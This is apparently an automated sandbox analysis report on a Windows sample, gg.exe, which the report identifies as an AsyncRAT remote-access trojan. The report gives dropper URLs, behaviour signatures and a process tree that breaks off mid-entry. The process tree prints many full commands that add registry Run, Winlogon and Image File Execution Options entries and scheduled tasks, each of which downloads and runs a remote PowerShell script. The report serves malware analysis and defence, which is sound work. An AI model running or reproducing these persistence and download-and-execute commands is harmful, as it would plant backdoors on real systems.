Overview

overview

10

Static

static

10

gg.exe

windows10-2004-x64

10

gg.exe

windows10-ltsc_2021-x64

10

gg.exe

windows11-21h2-x64

10

gg.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    898s
  • max time network
    901s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260911-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    07/11/2026, 11:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    gg.exe
  • Size 112KB
  • Sample261107-nmp36abt2w
  • SHA256 0438c5244557b44510db17b457600529f93d840bdade3b0005f564912668c5fa
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwareokvipdiscoveryexecutionasyncratpersistenceratspyware

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://register.mybet88.gg/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://member.noboncos.co/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://xx8.loans/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://32win23.pro/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://b52club.bio/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://bigslot855.vip/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://jobgrow.phpdevelopment.co.in/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://doithuong68gb.app/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://m.asianslots.co/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://8kbet.ist/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://nmk.yosusai.in/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://asianslots.co/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://kent-casino-scm.buzz/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://cat.small-business-tracker.com/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://small-business-tracker.com/load.ps1

Extracted

Family

  • asyncrat

Version

  • 0.5.8

Botnet

  • OKVIP

Mutex

  • AxY3f8c1fQG9

Attributes
aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Modifies WinLogon for persistence 2 TTPs 15 IoCs
    persistence
  • Badlisted process makes network request 28 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

    Run Powershell and hide display window.

    execution
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 30 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 15 IoCs
    persistence
  • Adds Run key to start application 2 TTPs 30 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 64 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Meterpreter User-Agent 64 IoCs

    Uses user-agent string related to Meterpreter framework.

  • Modifies Internet Explorer settings 1 TTPs 60 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 30 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of SetWindowsHookEx 30 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\gg.exe
    "C:\Users\Admin\AppData\Local\Temp\gg.exe"
    1⤵
    • Checks computer location settings
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5428
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5452
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:3668
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5680
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:3032
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1324
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        • System Location Discovery: System Language Discovery
        PID:3812
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:904
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        PID:460
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6056
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        • System Location Discovery: System Language Discovery
        PID:1168
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc onlogon /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3656
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc onlogon /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3856
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2976
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4168
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5540
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:1680
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4184
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:1980
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5276
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        PID:5360
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3464
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        PID:4560
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2024
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        PID:5684
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc onlogon /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4596
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc onlogon /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1484
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6064
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4308
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3484
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:5108
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:924
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:444
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2112
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        • System Location Discovery: System Language Discovery
        PID:4708
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        PID:1436
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2736
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        PID:1492
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc onlogon /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2840
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc onlogon /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:4740
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1912
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2188
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3452
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:5300
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5036
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:5248
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3500
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        • System Location Discovery: System Language Discovery
        PID:4576
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3740
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        • System Location Discovery: System Language Discovery
        PID:4824
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:420
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        PID:3840
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /sc onlogon /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4728
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /sc onlogon /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:5792
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3876
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5344
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4276
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:3724
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3432
      • C:\Windows\SysWOW64\reg.exe
